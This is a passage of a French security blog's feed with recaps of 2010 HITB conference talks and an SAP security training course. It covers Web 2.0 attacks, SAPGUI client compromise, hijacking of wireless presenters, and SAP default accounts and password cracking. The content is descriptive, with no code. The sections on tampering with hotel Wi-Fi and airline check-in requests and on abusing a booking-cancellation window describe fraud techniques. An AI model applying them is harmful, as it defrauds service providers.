chercheurs à trouver ces bugs ;&lt;/li&gt;&lt;li&gt;en les corrigeant rapidement.&lt;/li&gt;&lt;/ul&gt;Il s'agit d'un réel défi car Firefox 4 bénéficiera de nouvelles fonctionnalité (tels qu'un parser HTML 5) qui pourront aussi représenter de nouveaux vecteurs d'attaque ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 3 - XProbe-NG&lt;span style="font-style: italic;"&gt;, Building&lt;/span&gt;&lt;span style="font-style: italic;"&gt; Efficient Network Discovery Tools - Fyodor YAROCHKIN&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;Il existe déjà beaucoup d'outil de découverte. Alors pourquoi un nouveau ? Celui proposé par Fyodor, déjà existant (Xprobe), est de tenir compte de la vraie-vie, des attaques qui ont lieu sur le Net. Ce tool de fingerpringting a aussi pour but d'étendre son action à la couche applicative pour combiner la collecte d'information aux couches réseaux et applicatives. Enfin, cette nouvelle version a pour vocation d'enrichir la version précédente à l'aide de scripts et de données échangées.&lt;br /&gt;&lt;br /&gt;Plusieurs défis sont alors engagés pour réussir ce pari. Notamment, il faut :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;limiter le temps de traitement des couches réseaux, la couche applicative étant gourmande en interprétation ;&lt;/li&gt;&lt;li&gt;être suffisamment rapide pour analyser les flux en temps réel (ou presque), ce qui pourra se faire avec un nouveau moteur.&lt;/li&gt;&lt;/ul&gt;L'outil, écrit en Python, utilise le principe de scoring et de prioroté pour traiter les informations les plus importantes en premier lieu. Ensuite, une autre solution consiste à ne lancer les modules d'analyse que quand ils sont nécessaires.&lt;br /&gt;&lt;br /&gt;Au final, XProbe-NG va réaliser différents tests applicatifs comme analyser les séparateurs de répertoire, les fichiers spéciaux dans les répertoires, la sensibilité de la casse, etc ... pour différencier un Linux d'un Windows.&lt;br /&gt;&lt;br /&gt;D'autres améliorations sont prévues pour permettre à cet outil de se démarquer. Une première version sera disponible la semaine prochaine à &lt;a href="http://xprobe.sourceforge.net"&gt;cette adresse&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 4 - &lt;span style="font-style: italic;"&gt;Top 10 Web 2.0 Attacks and exploits&lt;/span&gt;&lt;span style="font-style: italic;"&gt; - Shreeraj SHAH&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;Lors de cette conférence, le speaker a pris en compte le Top 10 des vulnérabilités liées au WEB 2.0 en se basant sur l'OWASP. Voici le classement :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1) DOM Based XSS (Ajax) ;&lt;/li&gt;&lt;li&gt;2) SQL Injections (SOAP / XML) ;&lt;/li&gt;&lt;li&gt;3) Blind SQL over JSON/AMF ;&lt;/li&gt;&lt;li&gt;4) XPATH Injection ;&lt;/li&gt;&lt;li&gt;5) Business logic bypass ; &lt;/li&gt;&lt;li&gt;6) Decompilation Attack (ex : SWF) ;&lt;/li&gt;&lt;li&gt;7) WSDL ;&lt;/li&gt;&lt;li&gt;8) XSS with Flash ;&lt;/li&gt;&lt;li&gt;9) CSRF with XML ;&lt;/li&gt;&lt;li&gt;10) Widget / Marshup.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Une description et une démonstration a été réalisée pour chacune de ces attaques. Tout expliquer demanderait donc un billet à lui tout seul (au moins) mais cette présentation intéressante appelle notamment à la veille que nous devons réaliser en tant que pentesters sur ces nouvelles attaques. En effet, de nombreux sites sont touchées par ce type de vulnérabilités encore mal connues des développeurs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 5 - &lt;span style="font-style: italic;"&gt;The travelling Hacksmith 2009/2010&lt;/span&gt;&lt;span style="font-style: italic;"&gt; - Saumil SHAH&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;Une présentation particulière qui ne manquait pas d'intérêt et qui en a fait rire plus d'un : il ne devait pas y avoir d'opérateur wifi ni d'agent d'opérateur de voyage dans la salle ...&lt;br /&gt;Je m'explique ! Le speaker nous raconte qu'il voyage beaucoup et que tout se paye et souvent cher comme les connexions WiFi dans les chambres d'hôtel.&lt;br /&gt;&lt;br /&gt;A travers les différents voyages et hôtels visités, Saumil nous montre comment il a réussit à obtenir un accès Internet gratuit ou moins cher. De la modification du numéro de chambre dans la requête au contrôle de la passerelle en passant par les injections SQL, aucun accès ne lui a résisté ;)&lt;br /&gt;&lt;br /&gt;Ensuite, il s'attaque aux billets d'avion dans le but d'être surclassé. Il réussit à plusieurs reprise en modifiant son numéro de place dans le choix des places au check-in sur Internet.&lt;br /&gt;&lt;br /&gt;Enfin, sur un site de réservation d'hôtel que je ne dois pas citer &lt;a href="http://www.venere.com"&gt;et que je ne ferais donc pas&lt;/a&gt;, il est possible de réserver et d'annuler sans payer de frais : sauf que l'annulation se fait sur le jour précédent de l'arrivée ! A voir si ça marche toujours ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Et c'est la fin de cette conférence ! Ces 4 jours auront passé bien vite mais il est temps de sortir de Hackerland et de retrouver son chez-soi : enfin, si le Thalys arrive, déjà 30 minutes de retard ...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-7036283423494949021?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/7036283423494949021/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=7036283423494949021' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/7036283423494949021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/7036283423494949021'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/07/hitb-conference-day-2.html' title='[HITB COnference] Day 2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-8029050982860574847</id><published>2010-07-02T00:01:00.000-07:00</published><updated>2010-07-02T12:10:35.298-07:00</updated><title type='text'>[HITB Conference] Day 1</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Un petit retour sur cette première journée de conférence au HITB d'Amsterdam où l'ambiance est très bonne, l'hôtel cool (sauf pour y dormir apparemment ?) et les HITB girls sont ... sociables ! D'ailleurs, à quand les SSTIC girls ?&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Keynotes - Dr Anton CHUVAKIN - &lt;span style="font-style: italic;"&gt;Security Chasm&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Cette conférence me rappelle un talk donné par Nicolas RUFF l'année dernière au SSTIC. En effet, une idée dans tout ça est de montrer l'échec de la sécurité depuis les années 90.&lt;br /&gt;&lt;br /&gt;Tout d'abord, on a traversé plusieurs période de la sécurité en déplaçant le problème finalement à chaque fois. Tout d'abord, la sécurité était portée sur les ordinateurs, puis sur les réseaux, puis sur la prévention, puis sur la conformité et les normes, etc ...&lt;br /&gt;En parallèle, nous avons voulu couvrir les risques locaux dans un premier temps puis les menaces extérieures (avec le pare-feu à tout va) puis la détection des attaques (mode des IDS/IPS) puis, plus récemment, le cybercrime et pour en arriver maintenant à la période des clouds.&lt;br /&gt;&lt;br /&gt;Le problème, selon le conférencier, le manque de cohérence dans tout ça. Il y a d'une part ceux qui conseille de faire de la sécu et fournissent les recommandations alors qu'ils ne touchent pas au matériel (l'auditeur ne maitrise n'a jamais administré d'IPS qu'il va conseiller de configurer de telle ou telle manière par exemple pour mieux protéger le réseau) et d'autre part, nous avons les personnes qui appliquent la sécurité parce qu'il le faut bien ou parce qu'on leur demande, pas par conscience des risques.&lt;br /&gt;&lt;br /&gt;Alors pour résoudre cela, plusieurs lignes de conduite nous sont fournis. A titre d'exemple, les normes peuvent être bénéfiques mais seulement pour mettre encadrer la mise en place de la sécurité dans un SI, pas pour avoir l'étiquette "compliant" notamment.&lt;br /&gt;&lt;br /&gt;En fait, selon l'orateur, si une entreprise n'est pas en mesure d'assurer sa sécurité en 2020, elle mourra car un attaquant aura d'ici là toutes les armes lui permettant de mettre fin au business d'une entreprise.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 1 - John 'Kanen' Flowers - &lt;span style="font-style: italic;"&gt;Introducing Kane |Box&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;L'orateur part du principe que la sécurité ne fonctionne pas pour diverses raisons : elle coûte chère, les outils sont souvent contournés et cassés et les façons de penser et de "faire de la sécurité" n'ont pas évoluées depuis des années. A l'inverse, les outils de hacking sont souvent libres et les compétences des attaquants ne cessent d'évoluer.&lt;br /&gt;&lt;br /&gt;Et c'est là que l'orateur à la bonne idée : proposer une solution de sécurité qui n'est pas seulement un nouveau logiciel mais un boitier "clé en main". Pour avoir travailler dans la sécurité, vous allez me dire que ça existe déjà : de nombreux éditeurs en proposent ... oui mais à quel prix ? A 475$ vous en connaissez combien ? En effet, c'est le prix de base d'un boitier Kane|Box. Et même, pour ceux qui ont l'âme d'un bricoleur, le code est libre et il ne vous reste plus qu'à monter le boitier.&lt;br /&gt;&lt;br /&gt;L'auteur n'était donc pas là pour vendre sa marchandise mais pour fournir une solution complète et tout à fait abordable ; ce qui résout les problèmes actuelles pour implémenter la sécurité.&lt;br /&gt;&lt;br /&gt;Et que permet de faire cette solution ? C'est une virtual box rassemble les caractéristiques suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;un module d'exploitation (sniffer + analyseur de paquets + crackers de mots de passe + scripts d'exploitation) ;&lt;/li&gt;&lt;li&gt;un module de détection (pour la détection d'attaque réseau) ;&lt;/li&gt;&lt;li&gt;un pare-feu (permettant d'inspecter les paquets et de les bloquer) ;&lt;/li&gt;&lt;li&gt;un routeur (pouvant bénéficier de règles de filtrage) ;&lt;/li&gt;&lt;li&gt;un mode host-based (pour collaborer avec les anti-virus et les pare-feu des machines).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;L'idée est bonne et il serait intéressant de voir ce que cela pourrait donner en pratique.&lt;br /&gt;En attendant, je vous invite à voir&lt;a href="http://www.kane-box.com/"&gt; la page du produit&lt;/a&gt; pour plus d'info.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 2 - Alexander POLYAKOV - &lt;span style="font-style: italic;"&gt;Attacking SAP Users with SAPSPLOIT&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Je continue mon aventure sur la sécurité de SAP (cf. &lt;a href="http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-12.html"&gt;traning1&lt;/a&gt; et &lt;a href="http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-22.html"&gt;training2&lt;/a&gt;). Ici, l'orateur part du principe que le système SAP est correctement sécurisé et que les vecteurs d'attaque sur le système (OS, DB, appli, services additionnels) ne sont pas exploitables depuis notre point d'attaque. Ce qui, pour une version récente de la plateforme serait envisageable. Du moins, admettons.&lt;br /&gt;Alors, le vecteur d'attaque sera l'utilisateur. En effet, c'est lui qui aura les permissions appropriées pour ce connecter au serveur SAP et une fois son poste de travail compromis, nous aurons la possibilité de nous attaquer au cœur de notre cible. De plus, les utilisateurs sont nombreux donc plus de chance de succès.&lt;br /&gt;&lt;br /&gt;L'utilisateur se connecte au serveur SAP via le client SAPGUI. Premier point : les flux ne sont pas toujours chiffrés et seulement compressé au mieux (XOR avec une clé connue, base64, ...).&lt;br /&gt;Deuxième point : SAPGUI est vulnérable à un certain nombre d'attaques :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;a) SAPGUI utilise des activeX et alors, les vulnérabilités concernant ce dernier sont aussi valables pour notre cible (ex : des buffer overflows sont réalisables). Aussi, les activeX permettent des intéractions avec les fichiers enregistrés sur le serveur : et si on changeait la configuration du serveur pour supprimer des protections ? Enfin, il est possible d'exécuter des commandes système ou de déployer un cheval de Troyes.&lt;/li&gt;&lt;li&gt;b) Une fois le client compromis, il est possible de retrouver des données intéressantes sur la machine de la victime. Par défaut, nous les retrouverons dans le répertoire &lt;span style="font-style: italic;"&gt;c:\windows\sap&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;c) D'autres attaques souvent prometteuses peuvent être menées sur le client : XSS (stored XSS notamment dans une fonction d'upload), phishing, XSRF, etc ...&lt;/li&gt;&lt;li&gt;d) Il est même possible d'obtenir un shell en uploadant une page HTML dans une fonction d'upload du client.&lt;/li&gt;&lt;/ul&gt;Afin d'empêcher ce type d'attaque, voici quelques recommandations fournies par Alexander :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Effectuer les mises à jour nécessaires : les dernières versions sont bien mieux protégées ; &lt;/li&gt;&lt;li&gt;Tester la force des mots de passe des clients et appliquer un seuil d'échec pour la tentative de connexion ; &lt;/li&gt;&lt;li&gt;Quelques configurations au niveau de la clé de registre permettent de mieux sécuriser le client ;&lt;/li&gt;&lt;li&gt;Attention, à minuit, une option permet de délocker tous les utilisateurs ! A supprimer.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Des infos supplémentaires peuvent être trouvées &lt;a href="http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;cd=2&amp;amp;ved=0CBwQFjAB&amp;amp;url=http%3A%2F%2Fwww.troopers10.org%2Fcontent%2Fe728%2Fe897%2Fe910%2FTROOPERS10_Some_notes_on_SAP_security_Alexander_Polyakov.pdf&amp;amp;ei=ZZ0tTJv-E-KkOMn0lJYC&amp;amp;usg=AFQjCNHFgnG2FTYeh8-IYkimPhCisbNfag&amp;amp;sig2=Cu7Idl-04QMeAyNBkEwR4g"&gt;ici&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 3 - Laurent OUDOT - &lt;span style="font-style: italic;"&gt;Web in the Middle - Attacking Client&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;La première conférence de l'après-midi nous parlait d'attaque de type MiTM que nous connaissons tous mais d'un type plus particulier qu'on appellera &lt;span style="font-weight: bold;"&gt;WiTM&lt;/span&gt;. En fait, il s'agit ici d'opérer sur des &lt;span style="font-weight: bold;"&gt;réseaux publics&lt;/span&gt; et si pensez réseaux Wi-Fi ... vous pensez juste !&lt;br /&gt;En face, nous avons tous &lt;span style="font-weight: bold;"&gt;les appareils mobiles&lt;/span&gt; capables de se connecter via le Wi-Fi. En particulier, nous avons les smartphones et tout objet qui se croque ( [Début private joke] Oui Fred, j'ai décidé de reprendre le concours d'hier [Fin private joke] ;)).&lt;br /&gt;&lt;br /&gt;J'ai retenu deux idées principales pendant la conférence :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Lors d'une communication dite sécurisée via SSL, toutes les requêtes ne sont pas toujours envoyées de manière sécurisée. En effet, de la page de login à la déconnexion de l'utilisateur, &lt;span style="font-weight: bold;"&gt;nous pouvons retrouver des requêtes HTTP&lt;/span&gt;. Cela peut concerner notamment les pages de déconnexion ;&lt;/li&gt;&lt;li&gt;Nous pouvons &lt;span style="font-weight: bold;"&gt;modifier le user-agent&lt;/span&gt; dans nos requêtes et voir le comportement du site WEB qui peut être différent pour certains.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A partir de ces deux idées, cela a donné naissance à des 0days que nous a présentés le speaker. Les références associées sont les suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;CVE-2010-1752 qui concerne l'iPhone ;&lt;/li&gt;&lt;li&gt;CVE-2010-0028 qui concerne le navigateur du HTC (Opera) ;&lt;/li&gt;&lt;li&gt;CVE-2010-0027 qui concerne les blackberry (vulnérabilité dans le "hotspot browser") ;&lt;/li&gt;&lt;/ul&gt;La démonstration réalisée en live concernait une dernière vulnérabilité touchant cette fois l'iPad. Une vulnérabilité dans son navigateur (Safari) permet de le crasher pour l'instant et peut être plus plus tard.&lt;br /&gt;&lt;br /&gt;Il y a certainement eu un très gros travail derrière tout ça pour trouver et exploiter les vulnérabilités. Malheureusement, aucune explication n'a été fournie sur celles-ci. Aucun point technique n'a été abordé non plus. Même si cela se comprend vis à vis des constructeurs, cela a enlevé du piquant à la présentation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 4 - Niels TEUSINK - Owned Live on Stage: Hacking Wireless Presenters&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pour le coup, la présentation qui a suivi a été très explicite dans son explication et sa démonstration ! De plus, il s'agit là d'un sujet tout à fait original : le hacking &lt;span style="font-weight: bold;"&gt;à travers les périphériques sans fil&lt;/span&gt; !&lt;br /&gt;&lt;br /&gt;A priori, tout périphérique sans fil pourrait nous servir entrer en ligne de mire. Tout d'abord, nous connectons via USB un périphérique sans fil (un appareil Logitech R-R0001 pour la présentation) sur deux PCs différents. Un des PC représente la machine de l'attaquant et l'autre, celui de la cible. Et vous avez bien compris, nous allons tenter de &lt;span style="font-weight: bold;"&gt;faire communiquer les appareils sans fil entre eux &lt;/span&gt;pour compromettre la machine cible !&lt;br /&gt;&lt;br /&gt;Je vous passe les détails techniques de ces attaques physiques : il ne s'agit tout simplement de mon domaine et ne suis pas en mesure de vous apprendre quelque chose à ce sujet. Cependant, la technique d'attaque consiste dans un premier temps à &lt;span style="font-weight: bold;"&gt;sniffer via le BUS &lt;/span&gt;avec le matériel adéquat. De l'autre côté, le speaker choisit un appareil sans fil un peu différent. Pour résumer, le but va être de &lt;span style="font-weight: bold;"&gt;trouver le bon canal de communication &lt;/span&gt;qui nous permettra de communiquer entre les deux appareils. Une fois le canal trouvé, les appareils sont "liés" et là, le speaker nous montre ce qu'il est possible de faire : &lt;span style="font-weight: bold;"&gt;un connect-back sur du VNC sur la machine cible&lt;/span&gt;. Je peux juste vous confirmer que ça a bien marché pendant la démonstration ! C'est assez terrifiant non ? Et là, ce n'est pas une souris sans fil que vous tenez sous la main ? ...&lt;br /&gt;&lt;br /&gt;Aujourd'hui, la sécurité n'existe pas pour les périphériques en question : il est donc important de créer un protocole sécurisé et d'utiliser une cryptographie fiable afin d'éviter des attaques de ce type.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 5 - Tamas RUDNAI -  Fireshark&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Le speaker nous présente ici un plugin de Firefox. Un de plus ! Mais particulier celui-ci puisqu'il permet de &lt;span style="font-weight: bold;"&gt;cartographier les sites infectés par les malwares&lt;/span&gt;. Pour cela, le plugin visite les pages web et collecte les informations dont il a besoin (code source, redirections, screenshots, etc.).&lt;br /&gt;Un autre but est de &lt;span style="font-weight: bold;"&gt;désobfusquer le code&lt;/span&gt;, ce qui permettra d'étudier les malwares rencontrés sur les sites.&lt;br /&gt;&lt;br /&gt;L'outil peut fonctionner selon &lt;span style="font-weight: bold;"&gt;deux modes&lt;/span&gt; :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le &lt;span style="font-style: italic;"&gt;Network mode &lt;/span&gt;: ou mode automatique ;&lt;/li&gt;&lt;li&gt;le &lt;span style="font-style: italic;"&gt;Single-user mode&lt;/span&gt; : l'utilisateur choisit les sites qu'il souhaite inspecter ;&lt;/li&gt;&lt;/ul&gt;La dernière fonctionnalité qui n'a pas été évoquée est le post-processing. Le but est de pouvoir analyser un malware à partir des preuves collectées précédemment.&lt;br /&gt;&lt;br /&gt;Étant donné que les malwares sont de plus en plus nombreux, ce plugin a tout à fait sa place au sein des outils d'un chercheur. En effet, outre le &lt;span style="font-weight: bold;"&gt;rôle de prévention &lt;/span&gt;(en évitant ainsi de visiter des sites contaminés), l'analyse des malwares permet de &lt;span style="font-weight: bold;"&gt;mieux comprendre &lt;/span&gt;les nouvelles attaques et d'en trouver les contre-mesures.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Fin de cette première journée. La suite dans le billet suivant.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-8029050982860574847?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/8029050982860574847/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=8029050982860574847' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8029050982860574847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8029050982860574847'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/07/hitb-conference-day-1.html' title='[HITB Conference] Day 1'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-2296976968132658013</id><published>2010-06-30T13:56:00.000-07:00</published><updated>2010-06-30T15:28:43.891-07:00</updated><title type='text'>[HITB Conference] SAP Hacking - Overview 2/2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Deuxième et dernier jour de training sur la sécurité de SAP. Beaucoup de choses mais ça reste tout à fait intéressant. On continue notre tour d'horizon !&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité de l'authentification&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Sur les systèmes SAP, il est possible de se connecter de plusieurs manières différentes. En particulier, il est possible de se connecter :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;via un &lt;span style="font-weight: bold;"&gt;login/mot de passe&lt;/span&gt; (classique) ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;SNC &lt;/span&gt;(Secure Nework Communication) permet de se connecter à l'aide d'une librairie extérieure (ex : NTLM) ;&lt;/li&gt;&lt;li&gt;via un &lt;span style="font-weight: bold;"&gt;certificat &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;par &lt;span style="font-weight: bold;"&gt;ticket &lt;/span&gt;(dans le cadre d'une authent' par SSO notamment ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;PAS &lt;/span&gt;(Pluggable Authentication Service) : utilisation d'une autre base d'authent' (ex : LDAP) ;&lt;/li&gt;&lt;/ul&gt;Bon, on conviendra que ce n'est pas le choix qui manquent. Après, ils ne sont pas tous égaux en termes de fiabilité...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité des utilisateurs&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Tout d'abord, il existe &lt;span style="font-weight: bold;"&gt;plusieurs types &lt;/span&gt;d'utilisateur. Le type attribué dépendra de la connexion et du niveau de sécurité attendu. Par exemple, le type &lt;span style="font-style: italic;"&gt;Dialog&lt;/span&gt; permet un accès direct au système SAP. Ce qui n'est pas le cas pour le type &lt;span style="font-style: italic;"&gt;system &lt;/span&gt;mais ce dernier impose un mot de passe qui n'expire pas.&lt;br /&gt;Une fois n'est pas coutume, il existe pas mal de &lt;span style="font-weight: bold;"&gt;comptes par défaut &lt;/span&gt;sur un système SAP. Évidemment, il est recommandé de verrouiller les comptes en question ou du moins, d'en changer les mots de passe.&lt;br /&gt;Le &lt;span style="font-weight: bold;"&gt;compte privilégié&lt;/span&gt; est SAP*. Tiens, il me semble qu'on avait vu que ce compte avait un mot de passe par défaut trivial ... De plus, ce compte ne peut pas être supprimé ! Il existe cependant des moyens de sécuriser de tels accès.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La politique de mots de passe&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;L'encodage des mots de passe a évolué au fur et à mesure des versions de SAP. Aujourd'hui, les plus complexes sont hashés avec SHA1 et bénéficient d'un sel aléatoire. Les précédents sont &lt;span style="font-weight: bold;"&gt;cassables avec john patché&lt;/span&gt;. Ensuite, tous les paramètres classiques et attendus existent (blocage du compte, historique des mots de passe, expiration, etc.).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Les autorisations&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Un utilisateur loggé ne peut pas (toujours) faire tout ce qu'il veut. il est soumis à des autorisations. Des contrôles sont donc effectués avant qu'un utilisateur ne puissent réaliser une transaction (au sens SAP) par exemple. Un utilisateur ayant le profile&lt;span style="font-style: italic;"&gt; SAP_ALL&lt;/span&gt; est le plus intéressant pour un attaquant ; en effet, il permet de réaliser toute action.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité des communications&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Un attaquant peut s'amuser à interagir avec les protocoles utilisés par SAP pour obtenir des informations sur le système ou exploiter des vulnérabilités. il s'agit notamment de :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;RFC &lt;/span&gt;: permet de lancer des fonctions sur les serveurs distants ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Commandes externes&lt;/span&gt; : une transaction de SAP permet d'interpréter des commandes système (sur le système d'exploitation).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité des environnements&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Dans SAP, nous retrouvons trois instances primaires :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;environnement de &lt;span style="font-weight: bold;"&gt;développement &lt;/span&gt;(DEV) ; &lt;/li&gt;&lt;li&gt;environnement de &lt;span style="font-weight: bold;"&gt;qualification &lt;/span&gt;(QAS) ;&lt;/li&gt;&lt;li&gt;environnement de &lt;span style="font-weight: bold;"&gt;production &lt;/span&gt;(PRD).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Quand bien même il s'agit d'instances distinctes, elles sont reliées à une même base (&lt;span style="font-style: italic;"&gt;common transport directory&lt;/span&gt;).&lt;br /&gt;Il est possible de cloissoner les droits entre ces environnements et au sein de la base. Ainsi, un développeur ne pourra pas porter atteinte à l'intégrité des données de production par exemple. La configuration se fait via une transaction de SAP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité du langage de programmation (ABAP)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Un module mal codé pourra permettre de lancer des attaques critiques. En l'occurrence, elles peuvent permettre de contourner les restrictions de droits appliqués à un utilisateur. Ce langage peut aussi permettre de lancer des commandes SQL et ainsi récupérer des données (contournement des contrôles d'autorisation (voir plus haut)).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Quelques portes cachées vers le graal&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Il existe plusieurs points d'entrée qu'un attaquant se fera un plaisir d'utiliser pour atteindre sa cible. Il s'agit de service qui, une fois activé, offre une &lt;span style="font-weight: bold;"&gt;interface Web&lt;/span&gt; qui sera plus ou moins bien protégée ... (qui a dit que ça pourrait être accessible depuis Internet ??? ;)&lt;br /&gt;Il pourra notamment compromettre l'application via les interfaces d'administration souvent mal protégée (d'après quelques recherches sur google ...).&lt;br 